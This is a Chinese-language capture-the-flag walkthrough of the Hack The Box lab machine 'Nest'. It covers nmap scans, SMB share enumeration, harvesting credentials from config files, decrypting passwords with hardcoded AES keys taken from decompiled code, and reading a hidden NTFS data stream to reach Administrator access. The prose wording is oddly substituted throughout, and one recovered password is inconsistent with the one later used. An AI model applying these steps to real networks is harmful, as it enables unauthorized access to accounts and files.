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免责申明
本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用，请不要将文中应用的工具和浸透思路用于任何非法用处，对此产生的所有结果，自己不承当任何责任，也不对造成的任何误用或侵害负责。
服务探测
查看凋谢端口
┌──(root💀kali)-[~/htb/Nest]
└─# nmap -p- 10.10.10.178 --open
Starting Nmap 7.91 (https://nmap.org) at 2021-12-28 09:26 EST
Nmap scan report for 10.10.10.178
Host is up (0.26s latency).
Not shown: 65533 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
445/tcp open microsoft-ds
4386/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 645.94 seconds
查看端口信息
(root💀kali)-[~/htb/Nest]
└─# nmap -sV -T4 -A -O -p 445,4386 10.10.10.178
Starting Nmap 7.91 (https://nmap.org) at 2021-12-28 09:38 EST
Nmap scan report for 10.10.10.178
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
4386/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
| Reporting Service V1.2
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| Reporting Service V1.2
| Unrecognised command
| Help:
| Reporting Service V1.2
| This service allows users to run queries against databases using the legacy HQK format
| AVAILABLE COMMANDS ---
| LIST
| SETDIR <Directory_Name>
| RUNQUERY <Query_ID>
| DEBUG <Password>
|_ HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4386-TCP:V=7.91%I=7%D=12/28%Time=61CB216C%P=x86_64-pc-linux-gnu%r(N
SF:ULL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericLi
SF:nes,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognis
SF:ed\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\x
SF:20V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\r
SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20comm
SF:and\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r
SF:\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Rep
SF:orting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nHQ
SF:K\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTCP,21,
SF:"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r\nHQK
SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20allows
SF:\x20users\x20to\x20run\x20queries\x20against\x20databases\x20using\x20t
SF:he\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x20--
SF:-\r\n\r\nLIST\r\nSETDIR\x20<Directory_Name>\r\nRUNQUERY\x20<Query_ID>\r
SF:\nDEBUG\x20<Password>\r\nHELP\x20<Command>\r\n>")%r(SSLSessionReq,21,"\
SF:r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServerCook
SF:ie,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSession
SF:Req,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,
SF:21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21
SF:,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r
SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3
SF:A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x2
SF:0command\r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.
SF:2\r\n\r\n>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\
SF:.2\r\n\r\n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.
SF:2\r\n\r\n>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\
SF:r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20
SF:Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x
SF:20Reporting\x20Service\x20V1\.2\r\n\r\n>");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-12-28T14:41:29
|_ start_date: 2021-12-28T14:24:52
TRACEROUTE (using port 4386/tcp)
HOP RTT ADDRESS
1 307.68 ms 10.10.14.1
2 307.76 ms 10.10.10.178
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 220.72 seconds
只开启了 samba 和一个未知的服务，先从 samba 开始
SMB
用 enum4linux 没查出来有价值的货色。
应用 smbclient 无明码探测分项目录
──(root💀kali)-[~/htb/Nest]
└─# smbclient --no-pass -L //10.10.10.178 127 ⨯
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
Secure$ Disk
Users Disk
SMB1 disabled -- no workgroup available
Data 目录能够进入 Shared 文件夹
┌──(root💀kali)-[~/htb/Nest]
└─# smbclient --no-pass //10.10.10.178/Data
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 7 18:53:46 2019
.. D 0 Wed Aug 7 18:53:46 2019
IT D 0 Wed Aug 7 18:58:07 2019
Production D 0 Mon Aug 5 17:53:38 2019
Reports D 0 Mon Aug 5 17:53:44 2019
Shared D 0 Wed Aug 7 15:07:51 2019
5242623 blocks of size 4096. 1839726 blocks available
无明码只能进入 shared 目录
把 shared 里两个文件夹下载到本地，貌似爆出了一个账号密码
┌──(root💀kali)-[~/htb/Nest]
└─# ls 130 ⨯
'Maintenance Alerts.txt' 'Welcome Email.txt'
┌──(root💀kali)-[~/htb/Nest]
└─# cat Maintenance\ Alerts.txt
There is currently no scheduled maintenance work
┌──(root💀kali)-[~/htb/Nest]
└─# cat Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>
If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.
Username: TempUser
Password: welcome2019
Thank you
HR 应用下面的账号密码查看 Users 目录
┌──(root💀kali)-[~/htb/Nest]
└─# smbclient -U 'TempUser%welcome2019' //10.10.10.178/Users 1 ⨯
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jan 25 18:04:21 2020
.. D 0 Sat Jan 25 18:04:21 2020
Administrator D 0 Fri Aug 9 11:08:23 2019
C.Smith D 0 Sun Jan 26 02:21:44 2020
L.Frost D 0 Thu Aug 8 13:03:01 2019
R.Thompson D 0 Thu Aug 8 13:02:50 2019
TempUser D 0 Wed Aug 7 18:55:56 2019
c
5242623 blocks of size 4096. 1839582 blocks available
smb: \> cd TempUser
smb: \TempUser\> ls
. D 0 Wed Aug 7 18:55:56 2019
.. D 0 Wed Aug 7 18:55:56 2019
New Text Document.txt A 0 Wed Aug 7 18:55:56 2019
user.txt
应用 TempUser 账号密码再次查看之前没有权限查看的目录文件夹
┌──(root💀kali)-[~/htb/Nest]
└─# smbclient -U 'TempUser%welcome2019' //10.10.10.178/Data 130 ⨯
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 7 18:53:46 2019
.. D 0 Wed Aug 7 18:53:46 2019
IT D 0 Wed Aug 7 18:58:07 2019
Production D 0 Mon Aug 5 17:53:38 2019
Reports D 0 Mon Aug 5 17:53:44 2019
Shared D 0 Wed Aug 7 15:07:51 2019
这次咱们有了更多文件夹的查阅权限
下载所有 Data 目录的文件
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
在 \IT\Configs\RU Scanner 下找到一个配置文件，爆出了 c.smith 的账号密码
┌──(root💀kali)-[~/htb/Nest]
└─# cat RU_config.xml 1 ⨯
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile> 用 john 无奈辨认下面明码的哈希，也不晓得具体的加密算法
门路提醒
在 IT/Configs/NotepadPlusPlus/config.xml 找到一个确认存在的文件夹 Carl：
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
在 TempUser 权限下咱们无奈查看 Secure$ 目录下的文件
┌──(root💀kali)-[~/htb/Nest]
└─# smbclient -U 'TempUser%welcome2019' //10.10.10.178/Secure$ 130 ⨯
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 7 19:08:12 2019
.. D 0 Wed Aug 7 19:08:12 2019
Finance D 0 Wed Aug 7 15:40:13 2019
HR D 0 Wed Aug 7 19:08:11 2019
IT D 0 Thu Aug 8 06:59:25 2019
cd
5242623 blocks of size 4096. 1839933 blocks available
smb: \> cd IT
smb: \IT\> ls
NT_STATUS_ACCESS_DENIED listing \IT\*
然而如果咱们晓得这个目录下必定有一个文件夹，就能够间接进入，前提是这个文件夹咱们有查看权限
smb: \IT\> cd carl
smb: \IT\carl\> ls
. D 0 Wed Aug 7 15:42:14 2019
.. D 0 Wed Aug 7 15:42:14 2019
Docs D 0 Wed Aug 7 15:44:00 2019
Reports D 0 Tue Aug 6 09:45:40 2019
VB Projects D 0 Tue Aug 6 10:41:55 2019
5242623 blocks of size 4096. 1839933 blocks available
在 Secure$\IT\carl\VB Projects\wip\ru\RUScanner\ 下找到一些 vb 文件
smb: \IT\carl\VB Projects\wip\ru\RUScanner\> ls
. D 0 Wed Aug 7 18:05:54 2019
.. D 0 Wed Aug 7 18:05:54 2019
bin D 0 Wed Aug 7 16:00:11 2019
ConfigFile.vb A 772 Wed Aug 7 18:05:09 2019
Module1.vb A 279 Wed Aug 7 18:05:44 2019
My Project D 0 Wed Aug 7 16:00:11 2019
obj D 0 Wed Aug 7 16:00:11 2019
RU Scanner.vbproj A 4828 Fri Aug 9 11:37:51 2019
RU Scanner.vbproj.user A 143 Tue Aug 6 08:55:27 2019
SsoIntegration.vb A 133 Wed Aug 7 18:05:58 2019
Utils.vb A 4888 Wed Aug 7 15:49:35 2019
查看，暴露出一些加解密信息
┌──(root💀kali)-[~/htb/Nest]
└─# cat Utils.vb
Imports System.Text
Imports System.Security.Cryptography
Public Class Utils
Public Shared Function GetLogFilePath() As String
Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
End Function
Public Shared Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Shared Function EncryptString(PlainString As String) As String
If String.IsNullOrEmpty(PlainString) Then
Return String.Empty
Else
Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Shared Function Encrypt(ByVal plainText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
...注意 passPhrase,saltValue,passwordIterations,initVector,keySize 这几个值是写死的，联合下面 c.smith 账号的密文去到这个这个网站
解密进去是：RxRxPANCAK3SxRxRx
应用 Smith 的账号密码再次登录 Users 目录，拿到 user.txt
┌──(root💀kali)-[~/htb/Nest]
└─# smbclient -U 'c.smith%xRxRxPANCAK3SxRxRx' //10.10.10.178/Users 130 ⨯
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jan 25 18:04:21 2020
.. D 0 Sat Jan 25 18:04:21 2020
Administrator D 0 Fri Aug 9 11:08:23 2019
C.Smith D 0 Sun Jan 26 02:21:44 2020
L.Frost D 0 Thu Aug 8 13:03:01 2019
R.Thompson D 0 Thu Aug 8 13:02:50 2019
TempUser D 0 Wed Aug 7 18:55:56 2019
5242623 blocks of size 4096. 1839710 blocks available
smb: \> cd C.Smith
smb: \C.Smith\> ls
. D 0 Sun Jan 26 02:21:44 2020
.. D 0 Sun Jan 26 02:21:44 2020
HQK Reporting D 0 Thu Aug 8 19:06:17 2019
user.txt A 34 Tue Dec 28 09:25:11 2021
找到一个备份的配置文件, 看起来是咱们下面扫描靶机 4386 未知服务的配置文件
└─# cat HQK_Config_Backup.xml
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>4386</Port>
<QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings> 文件隐写
有一个 Debug Mode Password.txt 文件，然而看字节数是一个空文件
smb: \C.Smith\HQK Reporting\> ls
. D 0 Thu Aug 8 19:06:17 2019
.. D 0 Thu Aug 8 19:06:17 2019
AD Integration Module D 0 Fri Aug 9 08:18:42 2019
Debug Mode Password.txt A 0 Thu Aug 8 19:08:17 2019
HQK_Config_Backup.xml A 249 Thu Aug 8 19:09:05 2019
用 allinfo 返回这个文件的所有文件或者目录信息，看到回显了两个 stream 文件
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time: 四 8 月 8 19 时 06 分 12 秒 2019 EDT
access_time: 四 8 月 8 19 时 06 分 12 秒 2019 EDT
write_time: 四 8 月 8 19 时 08 分 17 秒 2019 EDT
change_time: 三 7 月 21 14 时 47 分 12 秒 2021 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
用 get "Debug Mode Password.txt:Password" 下载到本地，查看
┌──(root💀kali)-[~/htb/Nest]
└─# cat "Debug Mode Password.txt:Password"
WBQ201953D8w
root.txt
telnet 登录 4386 端口服务，应用 debug WBQ201953D8w 命令开启 debug 模式
┌──(root💀kali)-[~/htb/Nest]
└─# telnet 10.10.10.178 4386 1 ⨯
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
HQK Reporting Service V1.2
>debug WBQ201953D8w
Debug mode enabled. Use the HELP command to view additional commands that are now available
>help
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>
通过简略测试下面命令意思大略相当于 linux 上的
SETDIR = cd
LIST = ls
SHOWQUERY = cat
HELP 前面加上下面的命令，能看到该命令的解释和示例
SHOWQUERY 要查看哪个文件，前面加上 list 命令列出来的编号 ID
SESSION 能够返回当前目录和用户相干信息
SERVICE 返回服务信息
去到 C:\Program Files\HQK\ldap 找到一个配置文件，暴露出了 Administrator 的账号密码
>setdir ldap
Current directory set to ldap
>list
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[1] HqkLdap.exe
[2] Ldap.conf
Invalid database configuration found. Please contact your system administrator
>showquery 2
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
ldap 用于保留各种用户的账户信息。
咱们在 C.Smith\HQK Reporting\AD Integration Module 下找到一个 exe 执行文件
smb: \C.Smith\HQK Reporting\AD Integration Module\> ls
. D 0 Fri Aug 9 08:18:42 2019
.. D 0 Fri Aug 9 08:18:42 2019
HqkLdap.exe A 17408 Wed Aug 7 19:41:16 2019
应用 ILSpy 反编译下面的 exe 文件，找到这个服务的加解密代码
加密：
public static string ES(string PlainString)
{if (string.IsNullOrEmpty(PlainString))
{return string.Empty;}
return RE(PlainString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
}
private static string RE(string plainText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
//Discarded unreachable code: IL_00b9
byte[] bytes = Encoding.ASCII.GetBytes(initVector);
byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
byte[] bytes3 = Encoding.ASCII.GetBytes(plainText);
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations);
byte[] bytes4 = rfc2898DeriveBytes.GetBytes(checked((int)Math.Round((double)keySize / 8.0)));
AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
aesCryptoServiceProvider.Mode = CipherMode.CBC;
ICryptoTransform transform = aesCryptoServiceProvider.CreateEncryptor(bytes4, bytes);
using MemoryStream memoryStream = new MemoryStream();
using CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
cryptoStream.Write(bytes3, 0, bytes3.Length);
cryptoStream.FlushFinalBlock();
byte[] inArray = memoryStream.ToArray();
memoryStream.Close();
cryptoStream.Close();
return Convert.ToBase64String(inArray);
}
解密：
// HqkLdap.CR
public static string DS(string EncryptedString)
{if (string.IsNullOrEmpty(EncryptedString))
{return string.Empty;}
return RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
}
private static string RD(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{byte[] bytes = Encoding.ASCII.GetBytes(initVector);
byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
byte[] array = Convert.FromBase64String(cipherText);
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations);
checked
{byte[] bytes3 = rfc2898DeriveBytes.GetBytes((int)Math.Round((double)keySize / 8.0));
AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
aesCryptoServiceProvider.Mode = CipherMode.CBC;
ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor(bytes3, bytes);
MemoryStream memoryStream = new MemoryStream(array);
CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
byte[] array2 = new byte[array.Length + 1];
int count = cryptoStream.Read(array2, 0, array2.Length);
memoryStream.Close();
cryptoStream.Close();
return Encoding.ASCII.GetString(array2, 0, count);
}
}
注意 passPhrase，saltValue，passwordIterations，initVector，keySize 这几个值是写死的
再次来到.NET Fiddle, 填入下面几个值和密文, 解密出明码为：XtH4nkS4Pl4y1nGX
用账号登录 Users 目录
┌──(root💀kali)-[~/htb/Nest]
└─# smbclient -U 'Administrator%XtH4nkS4Pl4y1nGX' //10.10.10.178/Users 1 ⨯
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jan 25 18:04:21 2020
.. D 0 Sat Jan 25 18:04:21 2020
Administrator D 0 Fri Aug 9 11:08:23 2019
C.Smith D 0 Sun Jan 26 02:21:44 2020
L.Frost D 0 Thu Aug 8 13:03:01 2019
R.Thompson D 0 Thu Aug 8 13:02:50 2019
TempUser D 0 Wed Aug 7 18:55:56 2019
5242623 blocks of size 4096. 1839646 blocks available
smb: \> cd Administrator
smb: \Administrator\> ls
. D 0 Fri Aug 9 11:08:23 2019
.. D 0 Fri Aug 9 11:08:23 2019
flag.txt - Shortcut.lnk A 2384 Fri Aug 9 11:10:15 2019
查看这个 flag 的连贯信息, 显示 flag 在桌面下
┌──(root💀kali)-[~/htb/Nest]
└─# strings flag.txt\ -\ Shortcut.lnk
\\HTB-NEST\C$
Users\Administrator\Desktop\flag.txt
htb-nest
1SPS0
1SPSLX
1SPS
jc(=
1SPS0
1SPS:
1SPSsC
\\Htb-nest\c$
Microsoft Network
Default share
Users
ADMINI~1
OVb
Desktop
OVb*
flag.txt
\\Htb-nest\c$\Users\Administrator\Desktop\flag.txt
应用上面命令登录 C 盘
smbclient -U ‘Administrator%XtH4nkS4Pl4y1nGX’ //10.10.10.178/c$
找到 root.txt
smb: \users\Administrator\Desktop\> ls
. DR 0 Wed Jul 21 14:27:44 2021
.. DR 0 Wed Jul 21 14:27:44 2021
desktop.ini AHS 282 Sat Jan 25 17:02:44 2020
root.txt AR 34 Tue Dec 28 09:25:11 2021
5242623 blocks of size 4096. 1839646 blocks available
正文完